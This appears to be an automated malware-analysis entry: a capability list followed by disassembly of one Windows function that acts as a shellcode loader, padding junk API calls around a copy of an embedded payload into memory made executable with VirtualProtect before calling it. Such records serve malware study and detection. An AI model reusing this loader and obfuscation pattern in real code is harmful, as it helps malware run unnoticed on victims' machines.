Function at 0x401320
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x18e4
call fcn.00408a80
mov eax, dword [0x843120]
push ebx
push esi
push edi
cmp eax, 0x5b1
jne 0x40140f
push 0
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
xor ecx, ecx
xor eax, eax
mov word [esp + 0xe], cx
lea edx, [esp + 0x28]
push edx
mov word [esp + 0x10], ax
mov eax, dword [esp + 0x10]
push eax
push ecx
lea ecx, [esp + 0xfc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push str.Buxafafesanil
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov edx, dword [esp + 0x28]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.ole32.dll_CoRegisterPSClsid]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea edx, [esp + 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov eax, dword [esp + 0x20]
push 0
push eax
lea ecx, [esp + 0x8f8]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellAboutW]
push 0
call fcn.00401abe
add esp, 4
push 0
call fcn.00401d74
add eax, 0x1134b
push eax
push 0
mov dword [0x843120], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [0x843120]
lea edx, [esp + 0x3c]
push edx
push 0x40
push ecx
push eax
mov dword [0x842074], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, esi
cmp dword [0x843120], esi
jbe 0x401497
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
mov edx, dword [0x843124]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x842074]
mov byte [ecx + esi], al
cmp dword [0x843120], 0xa8
jne 0x40148e
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
lea edx, [esp + 0x40]
push edx
call edi
lea eax, [esp + 0x20]
push eax
push 0
push 0
call ebx
inc esi
cmp esi, dword [0x843120]
jb 0x401452
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
mov edi, dword [sym.imp.KERNEL32.dll_FoldStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor eax, eax
mov dword [esp + 0xc], eax
mov ecx, dword [0x843120]
add ecx, eax
cmp ecx, 0xe
jne 0x401560
push 0
push 0
push 0x421718
call esi
push 0
lea edx, [esp + 0xf4]
push edx
push 0
push str.Javupofivuzijas
push 0
call edi
push str.Muyofiluhabix_firelowomesag_sef_zodi
call ebx
push 0
push 0
lea eax, [esp + 0x8f8]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
xor eax, eax
push eax
lea edx, [esp + 0x10f4]
push edx
push eax
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov word [esp + 0x2a], ax
xor ecx, ecx
lea eax, [esp + 0x1c]
push eax
push ecx
push ecx
mov word [esp + 0x28], cx
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
push 0
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push str.Kogoh_mosujamid_pehozotison_rarorizexayize
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov eax, dword [esp + 0xc]
inc eax
cmp eax, 0x39621
mov dword [esp + 0xc], eax
jl 0x4014af
call fcn.004011f0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
lea ecx, [ecx]
call edi
cmp esi, 0x26
jne 0x40158c
call fcn.00401300
inc esi
cmp esi, 0x6753f
jl 0x401580
mov esi, dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov edi, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
mov dword [esp + 0xc], 0x7b
nop
cmp dword [0x843120], 0x86
jne 0x401619
push 0
push 0
call esi
push 0
push 0
call edi
xor eax, eax
xor edx, edx
lea ecx, [esp + 0x10]
mov word [esp + 0x2c], dx
push ecx
lea edx, [esp + 0x30]
mov dword [esp + 0x32], eax
mov dword [esp + 0x36], eax
mov dword [esp + 0x3a], eax
mov word [esp + 0x3e], ax
mov word [esp + 0x14], ax
mov dword [esp + 0x16], eax
mov dword [esp + 0x1a], eax
mov dword [esp + 0x1e], eax
mov word [esp + 0x22], ax
push edx
lea eax, [esp + 0x48]
push eax
call ebx
push 0
lea ecx, [esp + 0xf4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp dword [0x843120], 0xf
jne 0x40162f
push 0
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
sub dword [esp + 0xc], 1
jne 0x4015b0
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret